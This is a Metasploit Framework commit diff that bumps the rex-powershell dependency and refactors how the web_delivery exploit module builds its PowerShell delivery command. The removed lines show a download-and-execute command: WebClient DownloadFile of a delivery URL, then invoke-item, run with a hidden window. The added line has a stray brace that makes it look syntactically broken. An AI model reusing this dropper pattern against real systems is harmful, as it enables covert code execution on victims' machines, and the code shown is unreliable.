Skip to content

Commit 1ee590a

Browse files
committed
Move over to rex-powershell and version bump
Version bump for: - rapid7/rex-powershell#10 - rapid7/rex-powershell#11
1 parent accb77d commit 1ee590a

File tree

2 files changed

+4
-7
lines changed

2 files changed

+4
-7
lines changed

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
139139
# Library for Generating Randomized strings valid as Identifiers such as variable names
140140
spec.add_runtime_dependency 'rex-random_identifier'
141141
# library for creating Powershell scripts for exploitation purposes
142-
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
142+
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
143143
# Library for processing and creating Zip compatbile archives
144144
spec.add_runtime_dependency 'rex-zip'
145145
# Library for parsing offline Windows Registry files

modules/exploits/multi/script/web_delivery.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -149,7 +149,6 @@ def gen_psh(url, *method)
149149

150150
if method.include? 'string'
151151
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
152-
download_and_run = "#{ignore_cert}#{download_string}"
153152
else
154153
# Random filename to use, if there isn't anything set
155154
random = "#{rand_text_alphanumeric 8}.exe"
@@ -164,13 +163,11 @@ def gen_psh(url, *method)
164163
file = %Q(echo (#{path}+'\\#{filename}'))
165164

166165
# Generate download PowerShell command
167-
#download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL
168-
download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^
169-
170-
# Join PowerShell commands up
171-
download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z"
166+
download_string = Rex::Powershell::PshMethods.download_run(url, file})
172167
end
173168

169+
download_and_run = "#{ignore_cert}#{download_string}"
170+
174171
# Generate main PowerShell command
175172
return generate_psh_command_line(noprofile: true,
176173
windowstyle: 'hidden',

0 commit comments

Comments
 (0)